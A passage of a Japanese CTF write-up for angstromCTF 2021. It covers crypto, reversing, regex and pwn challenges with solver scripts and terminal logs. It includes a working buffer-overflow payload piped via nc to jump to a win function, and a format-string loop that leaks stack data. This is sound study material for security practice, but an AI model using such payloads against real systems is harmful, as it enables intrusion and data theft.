と定義すると、一連の暗号化処理は

O1 = (K1 & P) ^ K1

O2 = (K2 & O1) ^ K2

O3 = (K3 & O2) ^ K3

となり、O3が出力される。

与えられたプログラムから任意のP対応するO3を得ることができ、 プログラムから提示されたPに対してO3を求めることができればflagを得ることができる。

各段階に注目すると、 入力が0のとき、

(Kn & 0) ^ Kn = 0 ^ Kn = Kn

となり鍵がそのまま出力される。

入力が1のとき、

(Kn & 1) ^ Kn = Kn ^ Kn = 0

となり、出力は鍵の値にかかわらず0となる。

演算の分配法則に注目して

P = 1 のとき

O1 = 0

O2 = 0 ^ K2 = K2

O3 = (K2 & K3) ^ K3

P = 0のとき O1 = K1

O2 = (K2 & K1) ^ K2

O3 = (((K2 & K1) ^ K2) & K3) ^ K3 = (K2&K1&K3) ^ (K2&K3) ^ K3

P = p(任意入力) のとき

O1 = (K1 & P) ^ K1

O2 = (K2 & *1 ^ K2 = (P & K1 & K2) ^ (K2 & K1 ^ K2) = (P & K1 & K2) ^ O3_1

O3 = (K3 & *2 ^ K2)) ^ K3 = P & (O3_1 ^ O3_0) ^ (O3_1 ^ O3_0) ^ O3_1

となる。

式からP=0とP=1のときの出力が既知のとき、入力Pに対する出力を求めることができる。

以上をコードに落とし込む。

import binascii
BLOCK_SIZE = 16

e1 = input("e1 = ")
e2 = input("e2 = ")


e1 = binascii.unhexlify(e1)
e2 = binascii.unhexlify(e2)

while True:
    p = input("p = ")
    p = binascii.unhexlify(p)

    e = ""
    for i in range(4):
        e1_block = int.from_bytes(e1[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        e2_block = int.from_bytes(e2[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        p_block = int.from_bytes(p[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        tmp = (p_block & (e1_block ^ e2_block)) ^ (e1_block ^ e2_block) ^ e1_block
        e += hex(tmp)[2:].rjust(BLOCK_SIZE*2, "0")

    print(e)
    print(e.encode().decode()[:64])
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/home_rolled_crypto$ nc crypto.2021.chall.actf.co 21602
Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0a88688080607f86d4a80441208058880a88688080607f86d4a8044120805888
Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: 0000000000000000000000000000000000000000000000000000000000000000
0a996a8881607f97d4a82451a0805c8c0a996a8881607f97d4a82451a0805c8c
Would you like to encrypt [1], or try encrypting [2]? 2
Encrypt this: 9de09624ef91cff82467c056af3ba058a66ce8b55c7562e7e41c7648e8c5e082
0a99688880607f87d4a8244120805c8c0a996a8881607f96d4a8045120805c8c
Encrypt this: d60e987f388d550eb938c9c7f52a4bce502219964b7edce094833737260c3ff7
0a996a8081607f97d4a8245120805c880a996a8880607f97d4a80441a0805888
Encrypt this: f0f9bc57cdd3e82fcaa17eb493913ffd6e8aad6f224b81806ca6026d01a3c80d
0a886a8880607f96d4a80441208058880a996a8081607f97d4a82451a0805c88
Encrypt this: aeccf065ef3a17dca45fde55b2c3096257592aa6db4334c844187b0eb4de01c3
0a996a8880607f87d4a8244120805c8c0a88688880607f97d4a8045120805c8c
Encrypt this: cec22dd3934caf5e6b754795e1a8c9de273fcacc90397948889a310767c265da
0a996a8880607f87d4a8244120805c880a88688081607f97d4a80451a080588c
Encrypt this: 1143f0cbb5c882c5437bd692f21cb1234b66ed546fb6c3717b91ac14dd9cf32d
0a986a8080607f96d4a8244120805c8c0a996a8880607f86d4a8044120805c88
Encrypt this: 308d1c7689cc8b2818614a55470fb9a9275a8f1c23b581ced345a110eb5901f3
0a986a8880607f97d4a82441a0805c8c0a89688080607f97d4a8044120805c8c
Encrypt this: bc01d1d2f2c0df3c3a40671adfd82c78248f6bcb26f9f3519e573dc80d71d108
0a986a8881607f87d4a804412080588c0a98688081607f86d4a80451a0805c8c
Encrypt this: d434733ac36c5a176654b7b00c523f368e29fb4e6ee4c7f05f14c2cf92a117e1
0a89688080607f86d4a80441a08058880a98688081607f87d4a824512080588c
Encrypt this: 6bceb795e51bb83aabc5dc663a5d0aa61c3bc2553590d28c141e203c9fe3cdc1
0a99688880607f87d4a82451a0805c880a88688880607f97d4a804412080588c
W
actf{no_bit_shuffling_is_trivial}
Would you like to encrypt [1], or try encrypting [2]? quit
Bye

inifinity gauntlet

elfバイナリが降ってくる。ghidraに放り込んだ結果がこちら。

undefined8 main(void)

{
  int iVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  FILE *__stream;
  size_t sVar5;
  time_t tVar6;
  undefined8 uVar7;
  byte bVar8;
  uint uVar9;
  uint uVar10;
  byte *__s;
  ulong uVar11;
  ulong uVar12;
  uint uVar13;
  long in_FS_OFFSET;
  uint local_14c;
  byte local_148 [264];
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t find a flag file.");
    uVar7 = 1;
  }
  else {
    __s = local_148;
    fgets((char *)__s,0x100,__stream);
    fclose(__stream);
    sVar5 = strcspn((char *)__s,"\n");
    iVar1 = (int)sVar5;
    local_148[iVar1] = 0;
    if (iVar1 != 0) {
      bVar8 = 0;
      do {
        *__s = *__s ^ bVar8;
        bVar8 = bVar8 + 0x11;
        __s = __s + 1;
      } while (bVar8 != (byte)((char)sVar5 * '\x11'));
    }
    uVar13 = 1;
    tVar6 = time((time_t *)0x0);
    srand((uint)tVar6);
    puts("Welcome to the infinity gauntlet!");
    puts("If you complete the gauntlet, you\'ll get the flag!");
    while( true ) {
      printf("=== ROUND %d ===\n",(ulong)uVar13);
      iVar2 = rand();
      if ((int)uVar13 < 0x32) {
        iVar2 = rand();
        uVar9 = (uint)(iVar2 >> 0x1f) >> 0x10;
        uVar9 = (iVar2 + uVar9 & 0xffff) - uVar9;
      }
      else {
        uVar9 = (iVar2 % iVar1 + uVar13 & 0xff) << 8 | (uint)local_148[iVar2 % iVar1];
      }
      uVar3 = rand();
      if ((uVar3 & 1) == 0) {
        uVar3 = rand();
        if ((uVar3 & 3) == 0) {
          iVar2 = rand();
          iVar4 = rand();
          printf("bar(?, %u, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539),(ulong)(uint)(iVar4 % 0x539),
                 (ulong)((iVar4 % 0x539 + 1U) * (iVar2 % 0x539) + uVar9));
        }
        else {
          uVar10 = (uint)((int)uVar3 >> 0x1f) >> 0x1e;
          iVar2 = (uVar3 + uVar10 & 3) - uVar10;
          if (iVar2 == 1) {
            iVar2 = rand();
            uVar11 = (long)iVar2 % 0x539 & 0xffffffff;
            iVar2 = rand();
            uVar12 = (long)iVar2 % 0x539 & 0xffffffff;
            printf("bar(%u, ?, %u) = %u\n",uVar11,uVar12,
                   (ulong)(((int)uVar12 + 1) * uVar9 + (int)uVar11));
          }
          else {
            if (iVar2 == 2) {
              iVar2 = rand();
              uVar11 = (long)iVar2 % 0x539 & 0xffffffff;
              iVar2 = rand();
              uVar12 = (long)iVar2 % 0x539 & 0xffffffff;
              printf("bar(%u, %u, ?) = %u\n",uVar11,uVar12,
                     (ulong)((uVar9 + 1) * (int)uVar12 + (int)uVar11));
            }
            else {
              if (uVar9 < 0x53a) {
                uVar3 = rand();
                uVar3 = uVar3 % uVar9;
              }
              else {
                iVar2 = rand();
                uVar3 = iVar2 % 0x539;
              }
              printf("bar(%u, %u, %u) = ?\n",(ulong)uVar9 % (ulong)uVar3,(ulong)uVar3,
                     (ulong)(uVar9 / uVar3 - 1));
            }
          }
        }
      }
      else {
        iVar2 = rand();
        if (iVar2 % 3 == 0) {
          iVar2 = rand();
          printf("foo(?, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539),
                 (ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539));
        }
        else {
          if (iVar2 % 3 == 1) {
            iVar2 = rand();
            printf("foo(%u, ?) = %u\n",(ulong)(uint)(iVar2 % 0x539),
                   (ulong)(uVar9 + 1 ^ iVar2 % 0x539 ^ 0x539));
          }
          else {
            iVar2 = rand();
            printf("foo(%u, %u) = ?\n",(ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539),
                   (ulong)(uint)(iVar2 % 0x539));
          }
        }
      }
      __isoc99_scanf("%u",&local_14c);
      if (local_14c != uVar9) break;
      uVar13 = uVar13 + 1;
      printf("Correct! Maybe round %d will get you the flag ;)\n",(ulong)uVar13);
    }
    puts("Wrong!");
    uVar7 = 0;
  }
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar7;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

ひたすら数字を計算されることを要求される。 0x32回以降、flagの値を用いて数字が計算されるので逆算する。

計算によって求めた値の上位4バイトはindexに、下位4バイトは文字になるので 手元で組み直す。

import pwn
import re
from time import  sleep
import json

i_l = list(range(256))

def process_for_bar(eq):
    eq = eq.decode()
    if 'foo' in eq:
        m = re.match('foo\(([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq)
        if m:
            A, B, C = m.groups()
            if A == "?":
                return 0x539 ^ int(C) ^ (int(B) + 1)
            if B == "?":
                return (int(A)^int(C)^0x539) -1
            if C == "?":
                return int(A) ^ 0x539 ^ (int(B)+1)
    if 'bar' in eq:
        m = re.match('bar\(([\d|\?]+), ([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq)
        if m:
            A, B, C, D = m.groups()
            if A == "?":
                return int(D) - (int(B) * (int(C)+1))
            if B == "?":
                return (int(D) - int(A)) / (int(C)+1)
            if C == "?":
                return ((int(D) - int(A)) / int(B)) - 1
            if D == "?":
                return ((int(C)+1) * int(B)) + int(A)
    return None

#io = pwn.process('./infinity_gauntlet', stdin=pwn.PIPE)
io = pwn.remote("shell.actf.co", 21700)

print(io.recvline()) # Welcome~
print(io.recvline()) # If ~

with open("server_flag.json") as f:
    dat = f.read()
    flag = json.loads(dat)

while True:
    io.can_recv(10)
    round_check = io.recvline() # ROUND ~
    print(round_check)
    m = re.match('=== ROUND (\d+) ===\n', round_check.decode())
    round_number = int(m.groups()[0])

    io.can_recv(10)
    eq = io.recvline()
    print(eq)

    randvalue = int(process_for_bar(eq))
    send = str(int(randvalue)) + "\n"
    if send:
        print(send)
        io.send(send.encode())
    else:
        io.interactive()

    io.can_recv(10)
    print(io.recvline())

    if round_number > 0x32:
        index = i_l[((randvalue & (0xff<<8)) >> 8) - (round_number&0xff)]
        char = (randvalue & 0xff) ^ i_l[(0x11*index)%256]
        flag[index] = chr(char)
        p = sorted(flag.items(), key=lambda x:int(x[0]))
        print("".join([c for i, c in p]))

        #with open("server_flag.json", "w") as f:
            #f.write(json.dumps(flag))
    sleep(0.2)

logは長いので省略。

flag: actf{snapped_away_the_end}

exclusive sipher

xorで暗号化されたフラッグが渡される。 問題文に鍵長が5バイトだと書いてる。 フラッグの頭はactf{で始まるのでそれを用いて鍵を復元して残りも復元する。

import binascii
import itertools

C = bytes.fromhex('ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d21822
7e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c')

b = b"actf{"

for i in range(len(C)-5):
    key = []

    key.append(C[i]^b[0])
    key.append(C[i+1]^b[1])
    key.append(C[i+2]^b[2])
    key.append(C[i+3]^b[3])
    key.append(C[i+4]^b[4])

    counter = 0
    p = []
    for c in C[i:]:
        p.append(key[counter] ^c)
        counter +=1 
        if counter==5:
            counter = 0
    print("".join(map(chr, p)))

本当は復元した文字列がasciiかどうかで仕分けるべきなのだろうけど、量が少ないので目grepでフラッグを見つける。

flag: actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!

dysfunctional

やたら読みにくい暗号化処理が行われているelfとそれを用いてflagを暗号化したものとkey tableと思われるバイナリが降ってくる。 気合で読んで行われてる暗号化と復号化をpythonにしたものがこちら。

import pdb;
import struct
lookup_table = open("not_flag", "rb").read()


def encrypt1(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xbeef
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xbeef
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0xdead

    return tmp10


def encrypt2(arg):
    tmp1 = arg & 0x0000ffff
    tmp2 = 0xcafe ^ tmp1
    tmp3 = tmp2 * 2
    tmp4 = struct.unpack('l', lookup_table[tmp3:tmp3+2] + b'\x00'*6)[0]

    tmp5 = arg >> 0x10
    tmp6 = tmp5 ^ 0xcafe
    tmp7 = tmp6 * 2
    tmp8 = struct.unpack('l', lookup_table[tmp7:tmp7+2] + b'\x00'*6)[0]
    tmp9 = tmp8 << 0x10

    tmp10 = tmp9+tmp4
    tmp11 = tmp10 ^ 0x1337

    return tmp11

def encrypt3(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xcafe
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xcafe
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0x1337

    return tmp10

def encrypt4(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xbeef
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xbeef
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0xdead

    return tmp10

def reverse_index(c):
    bstr = struct.pack('l', c)[0:2]

    index = -1
    while True:
        index = lookup_table.find(bstr, index+1)
        if index%2==0:
            break
        elif index==-1:
            raise
    tmp = int(index / 2)
    return tmp

def solv():
    enc = [0x5400f172, 0x949c5165, 0xc6bc4607, 0xc621d63f, 0xc20c0970, 0xf2b3f53c, 0xaabb67f9, 0xfe0e7abb, 0x6ae46e55, 0xdd212d25, 0xfb681ccb, 0x2ef2f900, 0x75dbefc4, 0xa4e3a8dd, 0x3c6ad4ea, 0x2fa95919, 0x4e6d7b4
4, 0xb66bacf2, 0xa0b7b0a3, 0xee57fd81, 0x452a0ba4, 0xa05d8829, 0x5911680, 0x439efce, 0x75346c63, 0xe2e8d40c, 0x82551eb7, 0x15f70f1, 0x3365c553, 0x4d88f5f1, 0x1ea5b8ab, 0xfaa1a4ae, 0x91567996, 0x13d89930, 0x6b159c
81, 0x35779a3c, 0x5d8573aa, 0x75908ec, 0xb902a84, 0x1501d8a0]

    ret = []
    for c in enc:
        c = c & 0x0000ffff

        # decrypt4
        c = c ^ 0xdead
        c = reverse_index(c)
        c = c ^ 0xbeef

        # decrypt3
        c = c ^ 0x1337
        c = reverse_index(c)
        c = c ^ 0xcafe

        # decrypt2
        c = c ^ 0x1337
        c = reverse_index(c)
        c = c ^ 0xcafe

        # decrypt1
        c = c ^ 0xdead
        c = reverse_index(c)
        c = c ^ 0xbeef

        print(c)
        ret.append(c)
    return ret

p = solv()
buf = []
for i in p:
    buf.append(chr(i&0x00ff))

print("".join(buf))

書き捨てクソコードだけどデバッガー見ながら直していったものだからセーフ

flag: actf{but_wh4t_4b0ut_0bj3ct_d1s0r13nt3d}

sosig

n,e,cが示されたRSA暗号の復号問題。 RsaCtfToolなる便利なものがあったので今回はそれを使った。 もう紙と鉛筆で証明をなぞりながらコードを書かなくていいらしい

$ ./RsaCtfTool.py  -n 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853 -e 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799 --uncipher 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmpelg2fpyy.
[*] Performing smallq attack on /tmp/tmpelg2fpyy.
[*] Performing system_primes_gcd attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████| 2353/2353 [00:00<00:00, 411971.84it/s]
[*] Performing factordb attack on /tmp/tmpelg2fpyy.
[*] Performing mersenne_primes attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:01<00:00, 29.90it/s]
[*] Performing pastctfprimes attack on /tmp/tmpelg2fpyy.
100%|█████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 539813.61it/s]
[*] Performing fibonacci_gcd attack on /tmp/tmpelg2fpyy.
100%|████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 70188.07it/s]
[*] Performing ecm2 attack on /tmp/tmpelg2fpyy.
Can't load ecm2 because sage is not installed
[*] Performing siqs attack on /tmp/tmpelg2fpyy.
[!] Warning: Modulus too large for SIQS attack module
[*] Performing small_crt_exp attack on /tmp/tmpelg2fpyy.
Can't load small_crt_exp because sage is not installed
[*] Performing mersenne_pm1_gcd attack on /tmp/tmpelg2fpyy.
100%|████████████████████████████████████████████████████████████████████████████████████████| 2044/2044 [00:00<00:00, 55714.71it/s]
[*] Performing qicheng attack on /tmp/tmpelg2fpyy.
Can't load qicheng because sage is not installed
[*] Performing noveltyprimes attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████| 21/21 [00:00<00:00, 281406.98it/s]
[*] Performing fermat attack on /tmp/tmpelg2fpyy.
[!] Timeout.
[*] Performing primorial_pm1_gcd attack on /tmp/tmpelg2fpyy.
100%|██████████████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:00<00:00, 10912.27it/s]
[*] Performing comfact_cn attack on /tmp/tmpelg2fpyy.
[*] Performing partial_q attack on /tmp/tmpelg2fpyy.
[*] Performing boneh_durfee attack on /tmp/tmpelg2fpyy.
Can't load boneh_durfee because sage is not installed
[*] Performing z3_solver attack on /tmp/tmpelg2fpyy.
[*] Performing wiener attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████| 655/655 [00:00<00:00, 2046.33it/s]
  6%|█████▉                                                                                      | 42/655 [00:00<00:00, 2870.70it/s]
[*] Attack success with wiener method !

Results for /tmp/tmpelg2fpyy:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b643067677921212131313121317d
INT (big endian) : 2171836009541217697584158264673348205034942845
INT (little endian) : 15804014857499183980308679242095643171069528060658942625459961461717500461321378097384874659881191587123315225642911346865877242121610766505562929845580249984395417349928887270944923939737203099604976310091812426728725058756632226038287167697818264770875310702907936299194262488462801486201339410530135369171982105705188575604110988131140122006945055970544653009018942480390380677878622404476939741797268383599786512324973927405445548179730199434746451059943564348186920026153649872419306398034949296512870300598600090343334055930875874861749823555478892475109584363957881933030703932371890176752754830060562426101760
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{d0ggy!!!111!1}'

flag: actf{d0ggy!!!111!1}

FREE FLAGS!!1!!

読むだけ。 ghidraでデコンパイルしたもの。

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  undefined4 local_128;
  int local_124;
  int local_120;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!");
  puts("What number am I thinking of???");
  __isoc99_scanf("%d",&local_11c);
  if (local_11c == 0x7a69) {
    puts("What two numbers am I thinking of???");
    __isoc99_scanf("%d %d",&local_120,&local_124);
    if ((local_120 + local_124 == 0x476) && (local_120 * local_124 == 0x49f59)) {
      puts("What animal am I thinking of???");
      __isoc99_scanf(" %256s",local_118);
      sVar2 = strcspn(local_118,"\n");
      local_118[sVar2] = '\0';
      iVar1 = strcmp(local_118,"banana");
      if (iVar1 == 0) {
        puts("Wow!!! Now I can sell your information to the Russian government!!!");
        puts("Oh yeah, here\'s the FREE FLAG:");
        print_flag();
        local_128 = 0;
      }
      else {
        puts("Wrong >:((((");
        local_128 = 1;
      }
    }
    else {
      puts("Wrong >:((((");
      local_128 = 1;
    }
  }
  else {
    puts("Wrong >:((((");
    local_128 = 1;
  }
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return local_128;
  }
          /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

31337 419, 723 banana と入力すればいい。

flag: どっかいった。

revex

正規表現パズル。渡される正規表現にマッチするのがflag。

String.prototype.match() - JavaScript | MDN

このページでひたすら試行錯誤しながら戻した記憶。 最終結果は次の通り。

const paragraph = 'actf{reGEx_1s_b3stEx_qzuy}';
const regex = /^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)/g;
//const regex = /^(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))/g
const found = paragraph.match(regex);

console.log(found);
// expected output: Array ["T", "I"]
// > Array [""]

flag: actf{reGEx_1s_b3stEx_qzuy}

keysar_v2

いわゆる単一換え字暗号問題。

Simple substitution cipher

このサイトでちまちま頑張った記憶。 スクショが残ってたのでぺたり。

f:id:b_tya_nya:20210507132009p:plain

relatively simple algorithm

rsa暗号問題。RsaCtfToolなしでは生きていけない

test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/relatively_simple_algorithm/RsaCtfTool$ ./RsaCtfTool.py -n 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223 -p 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369 -q 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567 -e 65537 --uncipher 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432
private argument is not set, the private key will not be displayed, even if recovered.

Results for /tmp/tmpliu_y24a:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b6f6c645f6275745f7374696c6c5f676f6f645f77656c6c5f61745f6c656173745f756e74696c5f7175616e74756d5f636f6d707574696e677d
INT (big endian) : 77829732531886017666421465369706368622254927240332446949265849761777437379574153694975519245766808162296991738636674224619780544798026515410227980157
INT (little endian) : 88061703563610236827293861387910631235184407060684255250239921424433867451178990271277509511415248037435547120683547251281518208022599015192064594968868869852975927930713707299622083406207929929552904520884976584976308120690754751939928170923371232929844023743607981605290539913295411374645437736997756076032
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{old_but_still_good_well_at_least_until_quantum_computing}'

flag: actf{old_but_still_good_well_at_least_until_quantum_computing}

tranquil

シンプルなバッファーオーバーフロー問題。vuln関数に脆弱性がある。 カナリーなし、no PIEなので何も考えなくて良い。 flagを出してくれるwin関数を呼べば良い。

[*] '/home/test/angstromctf21/tranquil/tranquil'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int win(){
    char flag[128];
    
    FILE *file = fopen("flag.txt","r");
    
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    
    fgets(flag, 128, file);
    
    puts(flag);
}

int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/keysar_v2$echo -n -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00\x00\x00\x00\x00\n" | nc shell.actf.co 21830
Enter the secret word: 
Login failed!
actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

flag: actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

stickystacks

stack上に確保された領域にflagが読み出されているので、それをリークさせる問題。

typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;


int vuln(){
    char name[7];
    
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");
    
    return 0;
}

当時の残骸を貼っとく。

#!/bin/bash
let num
((num = 30))
while :
do
  ((num++))
  echo -n -e "%$num\$p\n\n\n"  | nc shell.actf.co 21820
  sleep 1;
done
b = [0x6c65777b66746361,
0x61625f6d27695f6c,
0x6c625f6e695f6b63,
0x5f7365795f6b6361,
0x6b6361625f6d2769,
0x5f6568745f6e695f,
0x65625f6b63617473,
0x3439323135623963,
0x3438363737646165,
0xa7d333935663161,]

ret = b''
import struct
for i in b:
    ret += struct.pack('q', i)

print(ret)

